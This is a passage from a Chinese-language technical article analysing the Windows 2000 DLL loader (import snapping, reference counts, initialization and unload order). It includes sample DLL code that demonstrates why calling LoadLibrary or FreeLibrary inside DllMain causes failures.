LDR: GDI32.dll has correct binding to NTDLL.DLL
Bound里有forward不成功的例子:
LDR: WINMM.dll bound to NTDLL.DLL via forwarder(s) from KERNEL32.dll
LDR: WINMM.dll has stale binding to NTDLL.DLL
LDR: Stale Bind KERNEL32.DLL from WINMM.dll
LdrpLoadImportModule: load Imported Dll
(1) 调用LdrpCheckForLoadedDll(...)检查该Dll是否已经被load。
(2) 若没有,则调用LdrpMapDll(...)将其映射到进程地址空间。
(3) 递归调用LdrpWalkImportDescriptor(...)。
LdrpCheckForLoadedDll和LdrpMapDll这两个函数留到后面再讲。
LdrpSnapIAT:snaps
the Import Address Table for this Imported Dll, overwrites each IAT
entry with the actual address of the imported function.
(1) 通过IMAGE_DIRECTORY_ENTRY_EXPORT得到imported dll的Export Directory指针和大小,它将在LdrpSnapThunk函数中使用。
(2) 通过IMAGE_DIRECTORY_ENTRY_IAT得到IATs表的地址和大小。(每一个imported dll的IAT表在内存中都是连续排列的)
这是一种简便的方法,一下子把整个IAT表的区域的属性都改了,避免了每snap一个thunk修改一次。
(3) 修改IATs的内存保护属性为PAGE_READWRITE。
(4) if (snap forwarded entries only)
{
while (找到每一个forwarder function的thunk)
调用LdrpSnapThunk(...)
}
else
{
while (找到Import Table里的每一个thunk)
调用LdrpSnapThunk(...)
}
(5) 恢复IATs原始的内存保护属性。
(6) 调用NtFlushInstructionCache。这是有必要的,因为IATs一般都在代码段。
LdrpSnapThunk: snaps a thunk using the Imported Dll’s Export Section data.
(1) if (snap is by ordinal)
{
得到OrindalNumber: = (USHORT)(OriginalOrdinalNumber - ExportDirectory->Base);
}
else
{
如果HintIndex匹配函数名,则可以直接使用它:OrdinalNumber = NameOrdinalTableBase[HintIndex];
否则调用LdrpNameToOrdinal(...)在Name Table中二分查找,然后在NameOrdinal Table得到对应OrdinalNumber
}
(2) 根据得到的OrdinalNumber,在Export Address Table(EAT)中找到对应的API的偏移地址。
该偏移地址再加上Dll的基地址就是该函数在内存中的实际地址。
然后用它更新IAT Thunk Entry。
(3) (参考PE specifications中的6.3.2节)
if (函数地址在export section内)
{
说明这个函数是一个Forwarder Function,那么上面得到的该函数的地址实际上指向一个ASCII string,
形式如:"NTDLL.RtlAllocateHeap" (by name) 或者 "MYDLL.#27" (by ordinal) 。
从这个字符串中解析出Forwarded Dll的名字,然后调用LdrpLoadDll(...)函数装载它。
然后调用LdrpGetProcedureAddress(...)函数得到函数的实际地址,并更新IAT Thunk。
}
(7) 调用LdrpUpdateLoadCount增加process image及它引用的dll的引用计数
LdrpUpdateLoadCount:递归函数,增加或减少Dll以及它引用的所有Dll的引用计数:
if (Module is loading)
{
设置相应的LDRP_LOAD_IN_PROGRESS标志,该标志表示dll正在被loading,将在LdrpClearLoadInProgress(...)被清除。
}
else // (Module is unloading)
{
设置相应的LDRP_UNLOAD_IN_PROGRESS标志,该标志表示dll正在被unloading,将在LdrUnloadDll(...)中被清除。
}
if (Bound Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT结构)
{
调用LdrpCheckForLoadedDll(...)检查imported dll是否已经被加载。
if (该imported dll的引用计数 != -1)
{
if (reference)
引用计数加1
else // dereference
引用计数减1
}
对这个imported dll递归调用LdrpUpdateLoadCount(...)
}
}
else if (Regular Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_IMPORT结构)
{
调用LdrpCheckForLoadedDll(...)检查imported dll是否已经被加载。
if (该imported dll的引用计数 != -1)
{
if (reference)
引用计数加1
else // dereference
引用计数减1
}
对这个imported dll递归调用LdrpUpdateLoadCount(...)
}
}
(8) Lock the loaded DLLs to prevent dlls that back link to the exe to cause problems when they are unloaded.
while (从前向后遍历InLoadOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
LoadCount = -1 ;
这表明进程的每一个static link的dll的LoadCount都为-1。
从上面的LdrpUpdateLoadCount的伪代码可以看出,LoadCount为-1标志着该dll的引用计数永远不会改变,
不会因为LoadLibrary和FreeLibrary而增加或减小。
}
(9) 此时进程隐式链接的DLLs都已经映像到内存中
if (the process is being debugged)
{
DbgBreakPoint() ; // 这就是著名的Loader Breakpoint。
}
Debugger
的作者需要注意的是,在Loader Breakpoint之前,staticly linked
dlls虽然都已经被load,但并没有被初始化(意即没有调用_DllMainCRTStartup)。
用WinDbg的!dlls命令,或者我的ModuleList程序都可以看出这点:
这些static link DLL的标志均为:LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_LOAD_IN_PROGRESS。
(10)调用LdrpRunInitializeRoutines,初始化每个dll。
LdrpRunInitializeRoutines:调用每一个已经被映射到内存但又没初始化的Dll的Entry Point。
(1) 调用LdrpClearLoadInProgress(...),清除LDRP_LOAD_IN_PROGRESS,并返回需要调用初始化函数的模块个数。
NumberOfRoutines = LdrpClearLoadInProgress();
(2) 在进程堆上创建一个数组,其成员是将要调用初始化函数的模块所对应的PLDR_DATA_TABLE_ENTRY指针。
PLDR_DATA_TABLE_ENTRY *LdrDataTableBase = RtlAllocateHeap( , , NumberOfRoutines * sizeof(PLDR_DATA_TABLE_ENTRY)) ;
(3) while (从前向后遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (EntryPoint不为NULL && 没有设置LDRP_ENTRY_PROCESSED标志(即entry hasn't been processed))
LdrDataTableBase[i++] = LdrDataTableEntry; // 将其将加入LdrDataTableBase中
LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED; // 注意此时还没有调用Entry Point函数
}
(4) while (遍历LdrDataTableBase数组中的每一项)
{
判断是否需要"BreakOnDllLoad" ;
我对BreakOnDllLoad没什么兴趣,就此略过。感兴趣的话可以看看Matt Pietrek的"Under the Hood", 1999-09
if (InitRoutine) // 如果需要初始化
{
if (the DLL has TLS data)
调用LdrpCallTlsInitializers(,DLL_PROCESS_ATTACH) ;
调用LdrpCallInitRoutine(,,DLL_PROCESS_ATTACH,)函数,一般是调用Dll的入口点函数_DllMainCRTStartup。
LdrpCallInitRoutine是用汇编写的,不过并无特殊之处。只是在Call指令之前调用
mov esi,esp ; save the stack pointer in esi across the call
在Call结束后调用
mov esp,esi ; restore the stack pointer in case callee forgot to clean up
不知道这种设计有什么特别的好处?
LdrDataTableEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED; // 标识完成初始化
if (Entry Point函数返回FALSE)
退出,返回STATUS_DLL_INIT_FAILED; // 这说明如果有一个Dll初始化失败,则退出整个加载过程
}
}
(5) if (the process image has tls)
调用LdrpCallTlsInitializers(,DLL_PROCESS_ATTACH) ;
LdrpClearLoadInProgress:清除LDRP_LOAD_IN_PROGRESS标志
(1) count = 0 ; // 初始化计数器
(2) while (从前向后遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
清除LDRP_LOAD_IN_PROGRESS标志;
if (EntryPoint不为NULL && 没有设置LDRP_ENTRY_PROCESSED标志(即entry hasn't been processed))
++count ;
}
(3) return count ;
四、Process Shutdown
下面我们开始研究进程结束时Dll是如何卸载的,从下面的堆栈中可以确定我们的旅程将从LdrShutdownProcess开始:
ntdll!LdrShutdownProcess
KERNEL32!ExitProcess+0x51
Test!doexit+0xd5 [crt0dat.c @ 392]
Test!exit+0x10 [crt0dat.c @ 279]
Test!mainCRTStartup+0xf8 [crt0.c @ 212]
KERNEL32!BaseProcessStart+0x3d
LdrShutdownProcess:
This function is called by a process that is terminating cleanly.
It’s purpose is to call all of the processes DLLs to notify them that the process is detaching.
(1) 沿着初始化方向的反方向
while (从后向前遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (EntryPoint不为NULL && 设置了LDRP_PROCESS_ATTACH_CALLED标志(即the dll has been initialized))
{
if (the DLL has TLS data)
调用LdrpCallTlsInitializers(,DLL_PROCESS_DETACH) ;
调用LdrpCallInitRoutine(,,DLL_PROCESS_DETACH,)函数
}
}
(2) if (the process image has tls)
调用LdrpCallTlsInitializers(,DLL_PROCESS_DETACH) ;
原来进程结束时只是依次调用Dll的DllMain函数,并没有把它从内存中卸载(UnmapView)。
五、LoadLibraryEx
进
程初始化里是加载静态链接的DLLs,下面要学习动态加载Dll(LoadLibraryEx)的代码。关于这部分内容,Russ
Osterlund的"Win2000
Loader"里有非常详尽的描述,我也没必要重复。这里我只写出LdrpCheckForLoadedDll和LdrpMapDll两个函数的算法思
想:
LdrpCheckForLoadedDll:
This function scans the loader data table looking to see if the specified DLL has already been mapped into the image. If
the dll has been loaded, the address of its data table entry is returned.
(1) if (StaticLink)
{
在哈希表LdrpHashTable中查找Dll,如果找到则返回TRUE,否则则返回FALSE。
}
(2) if (Dll的名字中没有包含路径)
{
StaticLink = TRUE;
返回(1)
}
(3) 调用RtlDosSearchPath_U(...)得到Dll的全路径
(4) while (从前向后遍历InLoadOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
// when we unload, the memory order links flink field is nulled.
// this is used to skip the entry pending list removal.
if ( !Entry->InMemoryOrderLinks.Flink )
continue;
关于InMemoryOrderLinks.Flink为NULL的情况,留到LdrUnloadDll再讲。
比较FullDllName,如果匹配,则退出循环
}
(5) if (没找到)
{
这部分代码不是很明白,我也不是很关心。大概意思是把Dll映射到内存中,然后再遍历InLoadOrderModuleList表,
比较TimeDateStamp,SizeOfImage以及整个file header和optional header,如果都匹配,则说明找到,成功返回。
}
我不是很明白这个函数的代码为什么这么写,Russ Osterlund的代码也不是很清晰。
如果是我写,我就只比较LdrpHashTable哈希表。如果Dll没有包含路径,就比较BaseDllName,否则就比较FullDllName。
为什么还要找InLoadOrderModuleList,它和LdrpHashTable有什么不一致吗?
LdrpMapDll:This routine maps the DLL into the users address space.
(1) if (LdrpKnownDllObjectDirectory != NULL && DllName中没有包含路径)
{
调用LdrpCheckForKnownDll(...)函数,检查该Dll是否是一个Known Dll,
如果是则调用NtOpenSection返回Dll的Section Handle,并跳到第(5)步。
}
LdrpKnownDllObjectDirectory和LdrpKnownDllPath在LdrpInitializeProcess中的第2步得到。
(2) 调用LdrpResolveDllName(...)函数,得到Dll的FullPathName和BaseDllName。
(3) 调用RtlDosPathNameToNtPathName_U(...)函数,将Dos pathname转换成NT style pathname。
(4) 调用LdrpCreateDllSection(...)函数,得到Dll的Section Handle。
(5) 调用NtMapViewOfSection(...)函数,将Dll映射到进程的地址空间。
(6) 调用LdrpAllocateDataTableEntry(...)函数,分配一个loader data table entry。
Entry = LdrpAllocateDataTableEntry(ViewBase);
并初始化Entry中各项:
......
Entry->EntryPoint = LdrpFetchAddressOfEntryPoint(Entry->DllBase); // 得到Dll的入口点
(7) 调用LdrpInsertMemoryTableEntry(...)函数,将该entry加入到list of loaded modules for this process
在LdrpInitializeProcess中的第4步已经详细介绍了LdrpInsertMemoryTableEntry()所做的工作。
(8) 剩下的大部分代码与基址重定位有关,将之略去。
六、FreeLibrary
下面来学习动态卸载Dll(FreeLibrary)的代码。 FreeLibrary会导致调用LdrUnloadDll函数,相比较LdrLoadDll,它要简单得多。
LdrUnloadDll:
(1) 如果进程正在关闭中,立即返回。
(2) 调用LdrpCheckForLoadedDllHandle(...),判断Dll是否存在,如果存在则返回它的LdrDataTableEntry。
(3) if (LdrDataTableEntry->LoadCount != -1)
{
LdrDataTableEntry->LoadCount--;
if (module是Image Dll)
调用LdrpUpdateLoadCount(...)函数,减少它所引用的Dll的LoadCount。
}
else
{
LoadCount等于-1说明这是进程静态链接的Dll,直接退出。
}
(4) 初始化双向链表LdrpUnloadHead。LdrpUnloadHead是个全局变量。
InitializeListHead(&LdrpUnloadHead);
(5) 沿着初始化方向的反方向建立unload list
while (从后向前遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (LoadCount == 0) // 引用计数为0表明该dll可以被卸载
{
RemoveEntryList(&Entry->InInitializationOrderLinks); // 从InInitializationOrderModuleList表中删除
RemoveEntryList(&Entry->InMemoryOrderLinks); // 从InMemoryOrderList表中删除
RemoveEntryList(&Entry->HashLinks); // 从Hash表中删除
InsertTailList(&LdrpUnloadHead,&Entry->HashLinks); // 将该entry插入到LdrpUnloadHead表的末尾
}
}
(6) 初始化局部的unload list。
InitializeListHead(&LocalUnloadHead);
(7) while (从前向后遍历LdrpUnloadHead链表中的每一项,找到每一个LDR_DATA_TABLE_ENTRY)
{
Entry->InMemoryOrderLinks.Flink = NULL; // 这是个标志,标志dll正在被unload
将dll从global unload list中移走,移入到local unload list中
RemoveEntryList(&Entry->HashLinks);
InsertTailList(&LocalUnloadHead,&Entry->HashLinks);
if (EntryPoint不为NULL && 设置了LDRP_PROCESS_ATTACH_CALLED标志(即the dll has been initialized))
{
调用LdrpCallInitRoutine(,,DLL_PROCESS_DETACH,)函数,执行EntryPoint函数。
}
RemoveEntryList(&Entry->InLoadOrderLinks); // 将其从InLoadOrderList表中删除
}
(8) while (从前向后遍历LocalUnloadHead链表中的每一项,找到每一个LDR_DATA_TABLE_ENTRY)
{
调用NtUnmapViewOfSection(...)函数,unmap在进程空间的映像。
执行一些其他的释放工作。
RtlFreeHeap(Peb->ProcessHeap, 0,Entry); // 释放LDR_DATA_TABLE_ENTRY所占用的内存。
}
LdrUnloadDll
里还有一些代码是用于处理在EntryPoint函数里又执行了FreeLibrary的情况,这里没有列出来,因为它会把逻辑搞得更复杂。不过不要误以
为这些代码无足轻重,事实上它们相当重要,在后面会讲到,它们增强了FreeLibrary的安全性。
LdrUnloadDll看上去很简单,但它还是留给了我一些疑惑:
疑惑一:InLoadOrderList和其他List不太一样,是在执行完EntryPoint函数之后才将dll从InLoadOrderList中删除的。可能是考虑到在EntryPoint函数里可能会执行一些需要用到InLoadOrderList的函数?
疑惑二:为什么要用两个unload list,为什么要将global unload list拷到local unload list?代码中的注释说这是因为在执行init routine中,global list可能会改变。但这又有什么影响呢?
至此我们已经研究完了有关进程初始化、进程退出、Dll动态装载、Dll动态卸载的代码。现在我们可以根据学到的知识解决一些困惑已久的问题:
问题一
为什么要维护三个双向链表:InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList? 为什么Dll初始化顺序不同于装载的顺序?
以Russ Osterlund的"Windows 2000 Loader"中带的例子Test为例,下面是从ModuleList中截取的的部分输出:
Ldr.InLoadOrderModuleList: 00131EC0 . 00134590
NO. Module Flags
1 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\debug\Test.exe LDRP_LOAD_IN_PROGRESS | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
3 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
6 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
9 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
Ldr.InMemoryOrderModuleList: 00131EC8 . 00134598
1 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\debug\Test.exe LDRP_LOAD_IN_PROGRESS | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
3 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
6 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
9 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
Ldr.InInitializationOrderModuleList: 00131F40 . 001345A0
1 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
3 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
6 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
InLoadOrderModuleList的顺序是从头往后走,沿着flink的方向走,靠近头部的是先load的。
InMemoryOrderModuleList的顺序和LoadOrder相同。
InInitializationOrderModuleList的顺序也是从头往后走,沿着flink的方向走,靠近头部的先初始化。
Unload的时侯按与初始化方向相反的方向,沿着blink的方向走,尾部的先unload。
(通
过查看win2k\private\windows\base\client\toolhelp.c以及win2k\private\ntos\dll\
ldrapi.c里LdrQueryProcessModuleInformation的代码,可以知道通过toolhelp函数
Module32First,Module32Next得到的Module的顺序是LoadOrder的顺序。)
InMemoryOrderModuleList和InLoadOrderModuleList几乎完全一样,它唯一的特殊之处是在LdrUnloadDll里,通过
Entry->InMemoryOrderLinks.Flink = NULL;
标志dll正在被unload。在LdrpCheckForLoadedDll和LdrpCheckForLoadedDllHandle两个函数里会用到这个特性。但这似乎不足以成为InMemoryOrderModuleList存在的理由?这仍是我的疑惑。
如果一个Dll A引用了另一个Dll B,那么就会出现Load的顺序与Initialize的顺序不一致的情况。
因为只有先load Dll A才可能知道它引用了Dll B,所以Dll A在InLoadOrderModuleList表中的顺序显示要先于Dll B。
又因为在逻辑上只有先知道Dll B能否初始化成功,才能决定Dll A是否能初始化成功,所以Dll B在InInitializationOrderModuleList表中的顺序要先于Dll A。
问题二
在Russ Osterlund的"Windows 2000 Loader"的最后留下了一个问题:why do some DLLs have a reference count of -1 and the others contain an actual count? 作者说以后会解答这个问题,我也不知道他后来在哪里解答了。可以把这个问题分为两个小问题:哪些DLLs的引用计数为-1?为什么这些DLLs的引用计数要为-1?
在进程初始化的最开始,只有Process Image和ntdll.dll的LoadCount等于-1。
在装载完static link dlls之后,象kernel32.dll之类的dll的引用计数都不等于-1,从LdrSnap的输出可看出:
LDR: Refcount KERNEL32.dll (1)
LDR: Refcount USER32.dll (1)
LDR: Refcount KERNEL32.DLL (2)
LDR: Refcount GDI32.DLL (1)
LDR: Refcount KERNEL32.DLL (3)
LDR: Refcount USER32.DLL (2)
但
是随后,初始化代码把这些静态链接的Dll的LoadCount都强制设为了-1。并不是说静态链接的dll都要这么做,如果一个dll是通过
LoadLibrary动态加载的,那么它静态链接的dll并不会强制设LoadCount为-1,下面是从ModuleList中截取的的部分输出:
LoadCount Module Flag
1 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
2 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
1 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
IMM32.dll是动态加载的,IMM32.dll静态链接于ADVAPI32.DLL,ADVAPI32.DLL又静态链接于RPCRT4.DLL,它们的引用计数都不等于-1。
通过LdrpInitializeProcess的伪代码可以看出,所有并且只有Process Image静态链接的Dlls的LoadCount为-1。
在
正常情况下,即LoadLibrary和FreeLibrary成对匹配的情况下,进程隐式链接的Dlls的引用计数永远应该>=1,因为至少
Process
Image在使用它。把它们的LoadCount设为-1,既是一种简化的设计,也是一种安全的设计,因为即使是多次调用FreeLibrary也不会把
它释放掉。 LdrUnloadDll发现LoadCount等于-1,就立刻返回了。
问题三
为什么在DllMain里不能调用LoadLibrary和FreeLibrary函数?
MSDN里对这个问题的答案十分的晦涩。不过现在我们已经有了足够的知识来解答这个问题。
考虑下面的情况:
(a)DllB静态链接DllA
(b)DllB在DllMain里调用DllA的一个函数A1()
(c)DllA在DllMain里调用LoadLibrary("DllB.dll")
分
析:当执行到DllA中的DllMain的时侯,DllA.dll已经被映射到进程地址空间中,已经加入到了module
list中。当它调用LoadLibrary("DllB.dll")时,首先会调用LdrpMapDll把DllB.dll映射到进程地址空间,并加入
到InLoadOrderModuleList中。然后会调用LdrpLoadImportModule(…)加载它引用的DllA.dll,而
LdrpLoadImportModule会调用LdrpCheckForLoadedDll检查是否DllA.dll已经被加载。
LdrpCheckForLoadedDll会在哈希表LdrpHashTable中查找DllA.dll,而显然它能找到,所以加载DllA.dll这
一步被成功调过。
DllA在它的DllMain函数里能成功加载DllB,并要执行DllB的DllMain函数对其初始化。站在DllB的角度考虑,当程序运行到它的
DllMain的时侯,它完全有理由相信它隐式链接的DllA.dll已经被加载并且成功地初始化。可事实上,此时DllA只是处在"正在初始化"的过程
中!这种理想和现实的差距就是可能产生的Bug的根源,就是禁止在DllMain里调用LoadLibrary的理由!
本文附带的例子中说明了这种出错的情况:
TestLoad主程序:
int main(int argc, char* argv[])
{
HINSTANCE hDll = ::LoadLibrary( "DllA.dll" ) ;
FreeLibrary( hDll ) ;
return 0;
}
DllA:
HANDLE g_hDllB = NULL ;
char *g_buf = NULL ;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize begin!\n" ) ;
g_hDllB = LoadLibrary( "DllB.dll" ) ;
// g_buf在Load DllB.dll之后才初始化,显然它没有料到DllB在初始化时居然会用到g_buf!!
g_buf = new char[128] ;
memset( g_buf, 0, 128 ) ;
OutputDebugString( "==>DllA: Initialize end!\n" ) ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLLA_API void A1( char *str )
{
OutputDebugString( "==>DllA: A1()\n" ) ;
// 当DllB.dll在它的DllMain函数里调用A1()时,g_buf还没有初始化,所以必然会出错!
strcat( g_buf, "==>DllA: " ) ;
strcpy( g_buf, str ) ;
OutputDebugString( g_buf ) ;
}
DllB:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllB: Initialize!\n" ) ;
OutputDebugString( "==>DllB: DllB depend on DllA.\n" ) ;
OutputDebugString( "==>DllB: I think DllA has been initialize.\n" ) ;
// 当程序运行到这时,DllB认为它引用的DllA.dll已经加载并初始化了,所以它调用DllA的函数A1()
A1( "DllB Invoke DllA::A1()\n" ) ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在调用DllA的函数A1()时,因为DllA里有些变量还没初始化,所以会产生exception。以下是截取的部分LDR的输出,"==>"开头的是程序的输出。
LDR: Loading (DYNAMIC) H:\cm\vc6\TestLoad\bin\DllA.dll
LDR: KERNEL32.dll used by DllA.dll
LDR: Snapping imports for DllA.dll from KERNEL32.dll
LDR: Real INIT LIST
H:\cm\vc6\TestLoad\bin\DllA.dll init routine 10001440
LDR: DllA.dll loaded. - Calling init routine at 10001440
==>DllA: Initialize begin!
LDR: Loading (DYNAMIC) H:\cm\vc6\TestLoad\bin\DllB.dll
LDR: DllA.dll used by DllB.dll
LDR: Snapping imports for DllB.dll from DllA.dll
LDR: Refcount DllA.dll (2)
LDR: Real INIT LIST
H:\cm\vc6\TestLoad\bin\DllB.dll init routine 371260
LDR: DllB.dll loaded. - Calling init routine at 371260
==>DllB: Initialize!
==>DllB: DllB depend on DllA.
==>DllB: I think DllA has been initialize.
==>DllA: A1()
First-chance exception in Test.exe (DLLA.DLL): 0xC0000005: Access Violation.
==>DllA: Initialize end!
在
前面已经说过LdrUnloadDll里对DllMain里调用FreeLibrary的情况进行了特殊处理。此时仍然会对各个相关的Dll引用计数减
1,并移入到unload list中,但然后LdrUnloadDll就返回了!并没有执行Dll的termination code。我构建了一个运行正确的例子TestUnload,说明LdrUnloadDll是怎么处理的。
考虑下面的情况:
(a)DllA依赖于DllC,DllB也依赖于DllC
(b)DllA里调用LoadLibrary("DllB.dll"),并保证其成功
(c)DllA在DllMain的termination code里执行FreeLibrary(),释放DllB
(d)在主程序里动态的加载DllA
下面的代码和注释说明了程序运行的细节:
TestUnload主程序:
int main(int argc, char* argv[])
{
HINSTANCE hDll = ::LoadLibrary( "DllA.dll" ) ;
// 在调用LoadLibrary之后
// LoadOrderList: A(1) --> C(2) --> B(1), 括号内的代表LoadCount
// MemoryOrderList: A(1) --> C(2) --> B(1)
// InitOrderList: C(2) --> A(1) --> B(1)
FreeLibrary( hDll ) ;
return 0;
}
DllA:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize!\n" ) ;
// 这里用LoadLibrary是安全的
g_hDllB = LoadLibrary( "DllB.dll" ) ;
if (NULL == g_hDllB)
return FALSE ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break ;
case DLL_PROCESS_DETACH:
// 运行到这里时,DllA现在只留在LoadOrderList中,已经从另两个list中删除
// LoadOrderList: A(0) --> C(1) --> B(1)
// MemoryOrderList: C(1) --> B(1)
// InitOrderList: C(1) --> B(1)
OutputDebugString( "==>DllA: Uninitialize begin!\n" ) ;
FreeLibrary( g_hDllB ) ;
// 运行到这里时,DllB和DllC都从MemoryOrderList和InitOrderList中删除了
// LoadOrderList: A(0) --> C(0) --> B(0)
// MemoryOrderList:
// InitOrderList:
OutputDebugString( "==>DllA: Uninitialize end!\n" ) ;
break;
}
return TRUE;
}
如果主程序是静态链接DllA又如何呢? LdrUnloadDll同样能判断这种情况:如果进程正在关闭那么LdrUnloadDll直接返回。我也构建了一个运行正确的例子TestUnload2来说明这种情况:
TestUnload2主程序:
int main(int argc, char* argv[])
{
// 此时DllA,DllB,DllC均已load
// LoadOrderList: A(-1) --> C(-1) --> B(1), 括号内的代表LoadCount
// MemoryOrderList: A(-1) --> C(-1) --> B(1)
// InitOrderList: C(-1) --> A(-1) --> B(1)
return 0;
}
DllA:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize!\n" ) ;
// 这里用LoadLibrary是安全的
g_hDllB = LoadLibrary( "DllB.dll" ) ;
if (NULL == g_hDllB)
return FALSE ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break ;
case DLL_PROCESS_DETACH:
// 运行到这里时,DllB已经被卸载,因为它是InitOrderList中最后一项
// 这里的卸载指的是调用了Init routine,发出了DLL_PROCESS_DETACH通知,而不是指unmap内存中的映像
OutputDebugString( "==>DllA: Uninitialize begin!\n" ) ;
// 这里不应该再调用DllB的函数!!!
// 尽管DllB已经被卸载,但这里调用FreeLibrary并无危险
// 因为LdrUnloadDll判断出进程正在Shutdown,所以它什么也没做,直接返回
FreeLibrary( g_hDllB ) ;
OutputDebugString( "==>DllA: Uninitialize end!\n" ) ;
break;
}
